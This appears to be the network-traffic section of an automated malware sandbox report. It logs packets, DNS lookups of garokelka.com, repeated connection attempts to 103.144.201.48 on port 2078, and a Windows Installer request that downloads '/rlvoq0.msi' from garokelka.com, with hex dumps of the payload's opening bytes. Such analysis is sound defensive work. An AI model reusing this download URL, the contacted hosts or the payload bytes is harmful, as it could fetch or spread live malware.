Jun 1, 2023 17:54:27.533102989 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.533313990 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.533339024 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.533409119 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.533441067 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.533484936 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.533494949 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.533514977 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.533715963 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.533734083 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.533776045 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.533783913 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.533819914 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.534010887 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.534038067 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.534071922 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.534076929 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.534107924 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.534305096 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.534328938 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.534364939 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.534369946 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.534404993 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.534612894 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.534636974 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.534684896 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.534693003 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.534717083 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.534909010 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.534936905 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.534970999 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.534976959 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.535000086 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.547291994 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.547328949 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.547485113 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.547512054 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.547673941 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.547693014 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.547733068 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.547739029 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.547765970 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.547960043 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.547986031 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.548017025 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.548022032 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.548044920 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.548273087 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.548294067 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.548329115 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.548336029 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.548357010 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.548573017 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.548595905 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.548629045 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.548635006 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.548655033 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.561722994 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.561769009 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.561889887 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.561903000 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.563708067 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.563755035 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.563803911 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.563812971 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.563829899 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.563843966 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.563893080 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.563899040 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.563930988 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.563972950 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.570974112 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.571003914 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.571019888 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.571027040 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:57:30.321494102 CEST	49703	443	192.168.2.3	72.163.4.185
Jun 1, 2023 17:57:30.321571112 CEST	443	49703	72.163.4.185	192.168.2.3
Jun 1, 2023 17:57:30.321670055 CEST	49703	443	192.168.2.3	72.163.4.185
Jun 1, 2023 17:57:30.328147888 CEST	49703	443	192.168.2.3	72.163.4.185
Jun 1, 2023 17:57:30.328196049 CEST	443	49703	72.163.4.185	192.168.2.3
Jun 1, 2023 17:57:30.774091005 CEST	443	49703	72.163.4.185	192.168.2.3
Jun 1, 2023 17:57:30.774430037 CEST	49703	443	192.168.2.3	72.163.4.185
Jun 1, 2023 17:57:30.933468103 CEST	49703	443	192.168.2.3	72.163.4.185
Jun 1, 2023 17:57:30.933567047 CEST	443	49703	72.163.4.185	192.168.2.3
Jun 1, 2023 17:57:30.934487104 CEST	443	49703	72.163.4.185	192.168.2.3
Jun 1, 2023 17:57:30.934618950 CEST	49703	443	192.168.2.3	72.163.4.185
Jun 1, 2023 17:57:30.947649002 CEST	49703	443	192.168.2.3	72.163.4.185
Jun 1, 2023 17:57:30.992295980 CEST	443	49703	72.163.4.185	192.168.2.3
Jun 1, 2023 17:57:31.092341900 CEST	443	49703	72.163.4.185	192.168.2.3
Jun 1, 2023 17:57:31.092489004 CEST	443	49703	72.163.4.185	192.168.2.3
Jun 1, 2023 17:57:31.092556000 CEST	49703	443	192.168.2.3	72.163.4.185
Jun 1, 2023 17:57:31.092614889 CEST	49703	443	192.168.2.3	72.163.4.185
Jun 1, 2023 17:57:31.092708111 CEST	49703	443	192.168.2.3	72.163.4.185
Jun 1, 2023 17:57:31.092745066 CEST	443	49703	72.163.4.185	192.168.2.3
Jun 1, 2023 17:57:31.092837095 CEST	49703	443	192.168.2.3	72.163.4.185
Jun 1, 2023 17:57:31.096194983 CEST	49703	443	192.168.2.3	72.163.4.185
Jun 1, 2023 17:57:31.377194881 CEST	49705	2078	192.168.2.3	103.144.201.48
Jun 1, 2023 17:57:34.388751030 CEST	49705	2078	192.168.2.3	103.144.201.48
Jun 1, 2023 17:57:40.389098883 CEST	49705	2078	192.168.2.3	103.144.201.48
Jun 1, 2023 17:57:47.515218019 CEST	49706	2078	192.168.2.3	103.144.201.48
Jun 1, 2023 17:57:50.530628920 CEST	49706	2078	192.168.2.3	103.144.201.48
Jun 1, 2023 17:57:56.546736002 CEST	49706	2078	192.168.2.3	103.144.201.48
Jun 1, 2023 17:58:05.658075094 CEST	49707	2078	192.168.2.3	103.144.201.48
Jun 1, 2023 17:58:08.657177925 CEST	49707	2078	192.168.2.3	103.144.201.48
Jun 1, 2023 17:58:14.657787085 CEST	49707	2078	192.168.2.3	103.144.201.48
Jun 1, 2023 17:58:21.944941044 CEST	49708	2078	192.168.2.3	103.144.201.48
Jun 1, 2023 17:58:24.939954042 CEST	49708	2078	192.168.2.3	103.144.201.48
Jun 1, 2023 17:58:30.940345049 CEST	49708	2078	192.168.2.3	103.144.201.48

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 1, 2023 17:54:26.863465071 CEST	56924	53	192.168.2.3	8.8.8.8
Jun 1, 2023 17:54:26.897725105 CEST	53	56924	8.8.8.8	192.168.2.3
Jun 1, 2023 17:57:30.286569118 CEST	60625	53	192.168.2.3	8.8.8.8
Jun 1, 2023 17:57:30.309791088 CEST	53	60625	8.8.8.8	192.168.2.3
Jun 1, 2023 17:57:31.101705074 CEST	49302	53	192.168.2.3	8.8.8.8

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jun 1, 2023 17:58:01.667659998 CEST	103.144.201.48	192.168.2.3	f091	(Host unreachable)	Destination Unreachable
Jun 1, 2023 17:58:01.667686939 CEST	103.144.201.48	192.168.2.3	f091	(Host unreachable)	Destination Unreachable
Jun 1, 2023 17:58:01.667702913 CEST	103.144.201.48	192.168.2.3	f091	(Host unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 1, 2023 17:54:26.863465071 CEST	192.168.2.3	8.8.8.8	0xd570	Standard query (0)	garokelka.com	A (IP address)	IN (0x0001)	false
Jun 1, 2023 17:57:30.286569118 CEST	192.168.2.3	8.8.8.8	0xb643	Standard query (0)	cisco.com	A (IP address)	IN (0x0001)	false
Jun 1, 2023 17:57:31.101705074 CEST	192.168.2.3	8.8.8.8	0xd67c	Standard query (0)	www.cisco.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 1, 2023 17:54:26.897725105 CEST	8.8.8.8	192.168.2.3	0xd570	No error (0)	garokelka.com		217.195.153.225	A (IP address)	IN (0x0001)	false
Jun 1, 2023 17:57:30.309791088 CEST	8.8.8.8	192.168.2.3	0xb643	No error (0)	cisco.com		72.163.4.185	A (IP address)	IN (0x0001)	false
Jun 1, 2023 17:57:31.161915064 CEST	8.8.8.8	192.168.2.3	0xd67c	No error (0)	www.cisco.com	www.cisco.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

garokelka.com

cisco.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49702	217.195.153.225	443	C:\Windows\System32\msiexec.exe

Timestamp	kBytes transferred	Direction	Data
2023-06-01 15:54:27 UTC	0	OUT	GET /rlvoq0.msi HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows Installer Host: garokelka.com
2023-06-01 15:54:27 UTC	0	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 01 Jun 2023 15:54:27 GMT Content-Type: application/octet-stream Content-Length: 413696 Connection: close Accept-Ranges: bytes Expires: 0 Cache-Control: no-cache, no-store, must-revalidate Content-Disposition: attachment;
2023-06-01 15:54:27 UTC	0	IN	Data Raw: d0 cf 11 e0 a1 b1 1a e1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 00 04 00 fe ff 0c 00 06 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 00 10 00 00 02 00 00 00 01 00 00 00 fe ff ff ff 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: >
2023-06-01 15:54:27 UTC	16	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:
2023-06-01 15:54:27 UTC	32	IN	Data Raw: 0b 4c 4a 6b 87 d9 14 b4 28 23 57 d0 b1 27 3b 27 74 68 1c da 90 fe ed 63 1e dd 88 dc 74 7b b7 53 75 d7 c6 8d a8 3c 2b 7f a4 80 3f 52 4a 7c 73 5c a0 3b b4 37 94 c9 ea ac 3b 7c d4 45 7f 15 27 32 02 5b 74 15 f6 81 29 32 6f 3f be 54 5b f3 9a bd 1d 56 d7 82 10 47 6c a2 a5 2a bd ad f3 a7 a0 bb 9e 20 dc 2d de e2 33 18 e9 2a c5 25 6e a2 53 ed fc ab 21 b4 82 5f 20 6a 69 01 f5 34 0c 28 91 7d 25 8b 42 02 f0 e9 37 da ab 90 0f 10 db af 94 fa a0 db 4c ca f9 81 02 fc b3 36 8a 79 54 95 f7 e2 a8 28 d9 b5 36 49 62 7c d7 c1 03 df cd d8 b0 71 f3 bf 24 7a d8 2a 8c 93 97 10 95 95 5f fd 28 e3 fc b1 f3 90 79 c2 a1 5c 89 d0 43 a7 83 75 48 f2 ce 67 38 0c 25 49 1b f6 6a f8 c3 a1 27 34 11 ed 46 7d 7b 9d 71 fe 2d ff 93 f1 1b e4 32 57 40 47 af c5 dd 66 14 c9 0a 5f a3 38 2a c1 4d 58 c1 Data Ascii: LJk(#W';'thct{Su<+?RJ\|s\;7;\|E'2[t)2o?T[VGl* -3%nS!_ ji4(}%B7L6yT(6Ib\|q$z_(y\CuHg8%Ij'4F}{q-2W@Gf_8*MX
2023-06-01 15:54:27 UTC	48	IN	Data Raw: 38 9d 3c 4b 97 2a c0 51 b1 74 af ff 3a 06 5f 9a 70 a1 b0 19 d1 e2 ef f7 05 5c c4 00 70 6a 62 81 31 5e 9e 7b 47 27 cd 07 e1 0f 66 30 f4 6f 58 aa 2f c3 cd a4 46 8e b7 cc d0 53 73 a7 06 3c 4c 78 fe 8f 26 ab 8f 8b 2c 46 4e a6 56 dc 47 cc 07 45 95 39 32 7a 81 45 a2 47 da ca 32 8a fb e4 df 47 7d fa 82 61 18 1d 1c 79 18 b7 6f 47 25 12 82 c6 71 4c b9 47 69 13 94 36 97 d2 06 b5 e7 55 da 72 94 b6 5c 76 8a 73 7e 10 38 ae 12 b9 c9 14 f0 db 2b bd 4a b3 a0 34 bb 94 e6 5c f6 d7 e4 b4 7a 14 7a 7a ba 56 e5 e5 57 46 27 5e 9f 62 b0 a4 5e 15 23 48 de 21 60 22 d1 39 12 ba 8e ef 41 de 09 31 be 7f 88 3a 18 4e a9 cf ed 13 a0 6a f7 ee c7 df 2c dc a4 d4 37 b1 80 14 7f 99 62 12 fb f1 77 50 a9 90 c0 32 d0 cc f6 e0 c4 a9 3c 4b b4 ae 35 2d ca a6 16 4a de 9d f9 20 b4 7a a4 19 d6 f7 3f Data Ascii: 8<K*Qt:_p\pjb1^{G'f0oX/FSs<Lx&,FNVGE92zEG2G}ayoG%qLGi6Ur\vs~8+J4\zzzVWF'^b^#H!`"9A1:Nj,7bwP2<K5-J z?
2023-06-01 15:54:27 UTC	64	IN	Data Raw: 9b 79 d0 21 46 d2 7f f6 86 e0 41 5d 8d e8 22 00 a9 9c 35 d2 19 ab f3 67 e1 91 66 9e c2 da f7 88 7b 06 f6 09 c3 b7 65 4d ca 35 64 2b d1 f2 6a 59 18 c9 d4 e3 19 62 69 f5 ef f7 66 f9 3e 4c d0 a6 f0 6a 7b 0f f4 82 e8 ae f2 1c cf fe df 78 0e ff b6 05 d3 ce 75 5d c6 5c e1 38 75 61 07 65 93 e4 cd 68 e0 25 0e f2 d8 ba 36 b7 87 24 32 bb 10 54 f8 f2 d7 f1 03 91 2b 71 38 7d dd a4 6f 44 dc 44 79 4a bc 70 98 2c 82 cb 4e 89 c8 85 bb 9b 48 7d 8e dc 67 d1 ff bc 85 66 fb 66 ba 85 66 4c 1e 8a 6d 4a 31 92 5c d5 eb b9 9f 8c ff a0 d9 d4 13 7d 7e 8a 67 e5 d3 29 b3 3b b4 ed db f7 95 21 8c 43 d9 88 06 b4 54 d5 07 d2 17 45 f4 9f d9 0a 42 42 51 e5 26 97 54 6c d2 1f d8 79 ab c4 18 a3 cc e0 d7 71 24 7e 38 d7 bc 21 6c 5e 5c 71 de e6 a4 e5 ad 0a 5f 2c f0 e6 af 91 77 94 fb 4a 03 14 1b Data Ascii: y!FA]"5gf{eM5d+jYbif>Lj{xu]\8uaeh%6$2T+q8}oDDyJp,NH}gfffLmJ1\}~g);!CTEBBQ&Tlyq$~8!l^\q_,wJ
2023-06-01 15:54:27 UTC	80	IN	Data Raw: 92 20 d8 3d 4c e5 37 58 ef 5e 62 b9 1b 86 35 0b 60 dc ac 2c 10 72 46 eb 86 d8 80 64 5b 60 a9 e4 65 2d a8 1d 78 81 e9 a2 64 fd 03 cc ec 4c 21 5c 43 0b c5 83 16 0a 1a ab fb c8 ec 8b a3 d5 b9 7b 2b 62 ae 73 a1 80 21 09 90 9e b5 39 2b b0 a1 21 5a 3c db e8 61 64 72 ae 6b 26 1e c6 26 e7 07 23 a4 e0 a2 e0 bc c9 ac 32 88 cf 97 93 2e 39 cf 37 e9 03 9a 06 4f 85 d7 ad 79 e6 4e eb c7 f5 7b ca cc 8f 78 32 99 d1 f7 2a b5 1e 77 14 53 7b fc 3d d3 b3 ce 95 86 f1 6a 67 ee d5 e0 d3 68 bb 4e 35 50 4a 3b ab 97 c1 9d c4 8e c0 00 a5 8b 64 c1 69 71 51 37 89 84 80 fe a3 f0 90 c7 d7 4c 1e a4 b5 02 cd bf ba 74 b4 b1 b3 c1 a7 5f 3a 4b b5 37 07 f0 d0 e9 4d 57 5e 81 cd 30 25 11 94 65 64 0b 8e bb 0f fd e1 32 15 80 c0 c9 de fc 2c 16 3c 80 1e d7 3f f2 6c f0 e1 fd a1 cf 6d c1 7a 20 0a b4 Data Ascii: =L7X^b5`,rFd[`e-xdL!\C{+bs!9+!Z<adrk&&#2.97OyN{x2*wS{=jghN5PJ;diqQ7Lt_:K7MW^0%ed2,<?lmz
2023-06-01 15:54:27 UTC	96	IN	Data Raw: cc bf a8 0e 93 03 38 df 78 e6 9d b2 6f 2b 85 d2 26 30 0d 7d bb cc 4c 94 b6 a4 49 d2 3d c0 0f e8 6c 6c d0 dc 16 87 cc 5e db 6d b9 8e be 28 87 98 fe bf eb 20 03 21 2c bf 06 3e 92 f1 67 50 a8 b7 c1 28 3f aa 92 cd f7 fc 0a da 46 25 95 7f bd 97 3a 86 98 03 bf 01 bc 73 1a 67 92 f5 a7 e0 0e 13 e6 7d b4 ac 4d ac ac d2 93 70 9f 2a 26 26 fc a7 ef bb 03 0b cc a4 4f f8 9d 3f b2 f8 e5 5c 4d 3f a6 37 fd 96 2e bb d5 47 68 c2 9a 3f d0 3c 7d 70 9f c4 b1 4b 4c cc a3 3f 95 cf 61 5c 5d 69 1a 16 0b f3 54 a6 0e 1f 4b bc 07 fc 71 a4 d0 ed da e9 63 e6 55 f5 ad 85 c0 56 a3 f2 f3 0b cc 1c ba 01 5d c7 12 01 8c 66 86 50 4e ae 48 91 34 55 79 2c 71 95 f9 e7 81 ff 86 b4 7f 69 ab b6 55 2b 1b 30 87 30 04 ad a1 19 ce ce 63 30 b4 ef b9 43 48 e0 45 62 bb 6d 0d 78 78 8b af aa c1 e8 76 f1 bf Data Ascii: 8xo+&0}LI=ll^m( !,>gP(?F%:sg}Mp*&&O?\M?7.Gh?<}pKL?a\]iTKqcUV]fPNH4Uy,qiU+00c0CHEbmxxv
2023-06-01 15:54:27 UTC	112	IN	Data Raw: 3d 7c f8 df d5 dc 0e 6a ae 86 4f a8 7d a7 f0 dc 78 3a 6d 65 2c 09 54 82 d1 58 9b e1 9c 83 5b f1 af 8a fd 55 f8 ae 62 bb 9f 8a cd b9 4c ea 2c c6 79 2a 75 2a 3b 20 e6 cd 2b e8 34 33 c3 59 a7 4e e3 08 e6 8e 25 1d fa da d7 09 b6 38 eb 15 ea 9c a5 1f e3 5a 20 94 eb 04 4c 00 f7 5f 4e 38 76 a5 ea cc 72 14 0f 41 7b 35 85 e3 0f b9 2c e6 a9 94 81 c8 24 94 b6 68 74 f8 b8 0e bb 2a da d8 d6 27 4b 0f 44 f4 70 e0 15 04 ef df 3d b6 c8 fd af 58 e2 15 f3 bb c8 6c 4c 29 a1 73 f4 fe 7a e3 1c 98 b6 d0 8b 93 9a 26 e1 1e 3e a0 b5 b0 d6 12 e7 45 c2 0d 35 80 9e 97 cc f2 ab 57 7a c3 ee 75 59 06 73 d3 37 28 dc 4a 9c c9 41 01 6a cf 21 00 8e aa b0 15 b7 63 ca 0a 58 0c bd 42 bc a4 77 15 e2 ec a2 73 15 e2 fb 68 68 8a 3b f6 12 29 03 8a 73 d0 49 e7 72 75 ef fd 55 c1 53 5a 02 81 b1 02 31 Data Ascii: =\|jO}x:me,TX[UbL,yu; +43YN%8Z L_N8vrA{5,$ht*'KDp=XlL)sz&>E5WzuYs7(JAj!cXBwshh;)sIruUSZ1
2023-06-01 15:54:27 UTC	128	IN	Data Raw: 6f d2 1f b1 3f ad 63 6d 1f 2a ff 59 43 f0 52 ca a6 94 94 3e 98 d3 43 8e ae 86 e0 57 e9 9b 52 53 ba e0 aa 3d 54 de 4a 89 a9 29 47 f1 72 9f 8c ff 47 d8 5f 9d ae 7d 58 1d 20 1b e0 68 b6 a1 45 36 e3 16 3f 42 2a de 90 84 a1 10 7c 4b 1a 44 bb 4f 7a 09 63 ed ed ed 6c d8 b7 48 d7 60 3d 38 f3 8c f8 87 e0 47 69 e2 a1 82 f6 fd 58 68 50 2a 6a b0 1e 03 79 3a 6a de 94 23 da 86 0e 7e 6c 28 4d fe 0a 0a b3 da 8c 81 df ac 16 3b 14 7f de e0 51 b9 a0 62 48 5f 59 0b e5 1f 24 25 ca ee 5b ad 24 c6 b2 c5 ea 57 23 be 1f 5a ce 41 b8 9b 9f d9 a4 f3 a5 8b cb 17 37 88 86 f2 d5 ed e2 f2 5a f3 de 15 e5 57 5d 21 5f f9 55 77 75 68 33 0c b6 81 5d 34 34 a0 da 37 30 7d cd fa cc da a6 99 f0 16 50 c3 92 1c 65 9a 0c fe 3f 43 d2 96 d4 35 f5 c5 6d ab db cd 7b e1 c7 ea d8 7e eb 9f 3f 34 71 7f 6d Data Ascii: o?cmYCR>CWRS=TJ)GrG_}X hE6?B\|KDOzclH`=8GiXhP*jy:j#~l(M;QbH_Y$%[$W#ZA7ZW]!_Uwuh3]4470}Pe?C5m{~?4qm
2023-06-01 15:54:27 UTC	144	IN	Data Raw: e5 ed 6a 18 87 6f 9e 30 25 6f 6f 12 33 fa 0f 70 7d c3 4c 84 05 de 6d 8f be 8e 0b 3c 3c 28 85 87 bb 04 85 16 38 2d 87 00 ba 06 bc a0 25 49 c2 88 92 fd 67 a2 4a aa 40 bf 00 a7 eb 42 e6 b2 94 66 7a b1 16 07 62 54 52 60 a6 c7 f4 25 aa 1b ec 83 95 36 79 19 da dc 9a 05 de 17 f5 0c c2 ea 6f c4 52 d7 60 81 7f 88 66 3a 5b fa 3f 61 4b bf 91 2f fd d8 2a 75 c9 e6 fd d7 64 5c 9e 30 92 5d 5d 46 a5 31 08 b8 3f a2 c2 33 74 a2 1f bc 2b 4d 20 76 6b ba 2b 7c a7 55 7f 3c 34 7f 48 18 a3 9f 18 f0 32 95 34 19 aa b4 0d aa 27 41 1f 56 96 66 e6 67 9d 3b 23 7c 3d 4b f6 3c ab d8 ef e2 19 6c 1b 68 d9 e6 a7 e5 8f 5c 23 9a e5 37 af 41 7f 40 be d1 1f 80 6d 2b 8d 9b d3 ac 4f e3 7a bc 17 bb 43 17 2b 67 1e cf 9c 6f 84 64 55 9e c7 33 cf 57 18 e8 06 79 8d 0d 35 f2 8e 01 b0 8c 2b d3 58 c6 4e Data Ascii: jo0%oo3p}Lm<<(8-%IgJ@BfzbTR`%6yoR`f:[?aK/*ud\0]]F1?3t+M vk+\|U<4H24'AVfg;#\|=K<lh\#7A@m+OzC+godU3Wy5+XN
2023-06-01 15:54:27 UTC	160	IN	Data Raw: fc 16 75 9d c0 71 2f f1 37 e5 da f6 ac 44 5d 27 8f 42 fd 83 e5 da fc f3 d4 75 f2 18 ca bf 00 fe d9 50 bf b3 7c 0e 76 2e 63 d5 52 0a 10 d3 9b 65 88 2e 28 45 a5 c0 0a b1 40 26 04 32 70 40 92 bf b0 09 80 7e b1 99 1f f3 5e 28 07 c3 1e 2b c4 8d dc 3c 00 3a c2 01 49 8e 43 19 00 ed e7 18 61 29 2a 17 fe 1a 0b 14 42 a0 71 0e 48 5a a9 6c 06 a0 6f f0 a2 8d cb a2 8d 2b 80 26 10 a8 89 03 92 5c 89 72 3c bf 5d 26 03 79 a1 14 d5 14 56 88 33 00 08 b4 4b 06 22 5f 93 3e aa a3 ae 85 78 92 03 c2 52 4c b4 5d 0a a0 11 04 b2 71 8c b2 99 68 15 18 af c1 01 75 d9 64 d1 6c 0a a0 01 04 aa e4 80 24 2f 65 0b 00 7d b2 89 13 ad 52 16 ad 52 01 74 1e 81 4a 39 20 69 59 57 09 40 bd 1c 10 96 62 a2 95 2a 80 5e 01 a0 aa 0b 68 24 b7 ca 46 12 37 a6 5a 38 94 ba 0b 6c 40 5d 48 60 24 1e d9 c4 26 53 Data Ascii: uq/7D]'BuP\|v.cRe.(E@&2p@~^(+<:ICa)BqHZlo+&\r<]&yV3K"_>xRL]qhudl$/e}RRtJ9 iYW@b^h$F7Z8l@]H`$&S
2023-06-01 15:54:27 UTC	176	IN	Data Raw: c1 e4 c3 fc 79 a1 ca 4c 6f cd ff 08 5c 03 9c b1 50 dd 2c 72 e6 29 cb e7 6b 1c e2 51 5d bc e2 d1 0b 75 5e 9b 03 61 92 61 ae 5f 18 f4 66 b7 ae c0 c5 c0 6d 49 e6 9c 37 71 80 34 ec bf 4d e2 55 80 7c 92 d4 d1 bf 44 a7 2f db 72 e9 20 22 91 67 7b 45 76 26 59 b2 0a c9 d7 6b 32 3d a7 01 0f 05 4e 4a 12 d6 5f 6a cd b1 c0 f3 81 47 26 09 d7 23 5a fa ce 9d 30 f9 30 7d fd cf 94 71 87 f4 4c 97 82 54 81 74 49 32 73 d9 b4 9c 2d 20 34 e3 8f 0b 58 ba 81 7c b9 40 7d df e6 d0 5f 62 1b b1 dc 7f 40 11 51 e1 de 22 96 2e 50 75 06 eb fd 9f c0 c9 c0 8f 2c 70 be a6 e2 34 03 a2 cf 45 71 0e 8a 5b e6 87 a4 d8 52 ad ca f9 34 13 d2 e5 a1 49 ab d5 ac 44 cd 80 73 bc 6a e6 9d a6 1a b5 be db d0 97 8c be 6b 43 d5 a7 ba 64 ef fb a7 59 c6 a0 e6 f3 a7 9d af 3c 10 37 79 dd 72 83 86 13 ac 47 71 2d Data Ascii: yLo\P,r)kQ]u^aa_fmI7q4MU\|D/r "g{Ev&Yk2=NJ_jG&#Z00}qLTtI2s- 4X\|@}_b@Q".Pu,p4Eq[R4IDsjkCdY<7yrGq-
